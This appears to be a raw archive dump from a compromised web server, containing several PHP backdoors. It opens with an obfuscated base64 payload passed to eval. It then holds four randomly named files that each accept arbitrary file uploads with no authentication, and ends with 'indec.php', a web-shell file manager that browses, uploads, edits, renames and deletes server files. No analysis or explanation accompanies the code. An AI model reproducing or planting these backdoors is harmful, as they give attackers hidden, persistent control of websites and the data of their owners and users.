VIc3AxL1JFSCtzSDRDTzFWMlRBL01HeGdCczdyaGR2enNDbjVDb3REZzEwWngxYWFoMGJ5SlAwR083dFVIZGlGVk9hY1RCc3JVdXQ0bmNlamhYbGdnenNYRXpGNUdtSEoxSHlDdTFZTEloRm1UOGh5UWNKOHFyQ0g4SUtDc3h4THV1MnhvVk15a094RXg4QnBBSkd1SkJ3em16U2xPYWR5R0Jrdmt3ZUVxSFNNMzJvOTVxU0JscGl3b2NMVVEvYkVoMnJ1ODhYcnZlQUNuVXVpMkJkOTZGcko0QTkwK0JUWEF3TjRxNnY0dVE1cUhQWnAzTzdPb3o3QUJkZ25wQXhIOXJBRHNoakNLZXJUZ2hUQmdtS3pWcjB6cHlWVnd1TEtLWVVNRzZLSjByeXUwZnZwMGlySGtIa1JKTlBobSt3QVk3YUxXdWw4TklKWDJSM1VTUThrV2FDOWkvK0tQY25HSE5BZkdHWUcwM2VlMXBlMEI0ZC9tR1c1VitoM0J3NjdpVjZqMXQ4K2t5TXJ2Yk5yUFlNMStLNHRNQVllMDdJUWhmcEVLdzc5K2pDalkxMXd5dmMvdGd1UWNIMytnZkxxUVExRkVuZ0JEazJVZnd0KzVlcjZCYnB2R203ZHE3RDM5R3ZPMnRlMzMyMGtDbTl2emhjcGZkWXUzdWUxK2UzYi9LYVZUK2o3dWJYYmUzbCs1ZG4yWEQ2OUU5cm9kdE5qdElBQk1HaGlnNXdmT3dwRGZvd3BCLzIwOURYYUtSR2RzdUVXSlVLMG1tMEhOTzcrSHZjTGRveHZtZCt6MysvN3dUdklZOWg5SU1hWEhBdXV6MlpIWVVucnRwUTErSGhEcUFKeEtvSVZramU4K3hRYVpTRENiTUY1MTRmWUUzeFNXdmUwRTl4SE41ZEMxdkczUVhDU2sxY1p2OW1yd2hzTEIrR3Z1OTlKcHgyaFV5cllTTW9SV3dMMnVWVnp1ZEtra2NxMmczNGZXaWtaM1NQSVZMeUxlS0JId3ZxVCtwazRzOWNycFR6Y2kzN3pDQlRCd0pldmpLRVhGdzdqQ0JYQjh1blFFV0EiOw0KZXZhbChodG1sc3BlY2lhbGNoYXJzX2RlY29kZSh1cmxkZWNvZGUoYmFzZTY0X2RlY29kZSgkQ3liZXIpKSkpOw0KZXhpdDsNCj8+"));?> qwturjyu.php000064400000001370147241726430007202 0ustar00
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
";?> > $file "; } } closedir($handle); } } ?> pwqpigya.php000064400000001370147241726500007127 0ustar00
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
";?> > $file "; } } closedir($handle); } } ?> xxorzbyu.php000064400000001370147241726550007205 0ustar00
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
";?> > $file "; } } closedir($handle); } } ?> aqyqibtj.php000064400000001370147241726620007115 0ustar00
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
";?> > $file "; } } closedir($handle); } } ?> indec.php000064400000033211147241726670006357 0ustar00  000 = 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . " GB"; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . " MB"; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . " KB"; } elseif ($bytes > 1) { $bytes = $bytes . " bytes"; } elseif ($bytes == 1) { $bytes = $bytes . " byte"; } else { $bytes = "0 bytes"; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, "."), 1); } function fileIcon($file) { $imgs = [ "apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp", ]; $audio = ["wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"]; $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return ' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } function encodePath($path) { $a = ["/", "\\", ".", ":"]; $b = ["ক", "খ", "গ", "ঘ"]; return str_replace($a, $b, $path); } function decodePath($path) { $a = ["/", "\\", ".", ":"]; $b = ["ক", "খ", "গ", "ঘ"]; return str_replace($b, $a, $path); } $root_path = __DIR__; if (isset($_GET["p"])) { if (empty($_GET["p"])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET["p"]))) { echo ""; } elseif (is_dir(decodePath($_GET["p"]))) { $p = decodePath($_GET["p"]); } } elseif (isset($_GET["q"])) { if (!is_dir(decodePath($_GET["q"]))) { echo ""; } elseif (is_dir(decodePath($_GET["q"]))) { $p = decodePath($_GET["q"]); } } else { $p = $root_path; } define("PATH", $p); echo ''; if (isset($_GET["p"])) { if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = []; $files = []; foreach ($fetch_obj as $obj) { if ($obj == "." || $obj == "..") { continue; } $new_obj = PATH . "/" . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ''; foreach ($folders as $folder) { echo " "; } foreach ($files as $file) { echo " "; } echo "
Name Size Modified Perms Actions
" . $folder . " --- " . date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
" . fileIcon($file) . $file . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " 0" . substr(decoct(fileperms(PATH . "/" . $file)), -3) . "
"; } else { if (empty($_GET)) { echo ""; } } if (isset($_GET["upload"])) { echo '
Select file to upload:
'; } if (isset($_GET["r"])) { if (!empty($_GET["r"]) && isset($_GET["q"])) { echo '
Rename:
'; if (isset($_POST["rename"])) { $name = PATH . "/" . $_GET["r"]; if (rename($name, PATH . "/" . $_POST["name"])) { echo ""; } else { echo ""; } } } } if (isset($_GET["e"])) { if (!empty($_GET["e"]) && isset($_GET["q"])) { echo '

'; if (isset($_POST["edit"])) { $filename = PATH . "/" . $_GET["e"]; $data = $_POST["data"]; $open = fopen($filename, "w"); if (fwrite($open, $data)) { echo ""; } else { echo ""; } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if ( move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file) ) { echo "

" . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } if (isset($_GET["d"]) && isset($_GET["q"])) { $name = PATH . "/" . $_GET["d"]; if (is_file($name)) { if (unlink($name)) { echo ""; } else { echo ""; } } elseif (is_dir($name)) { if (rmdir($name) == true) { echo ""; } else { echo ""; } } } ?>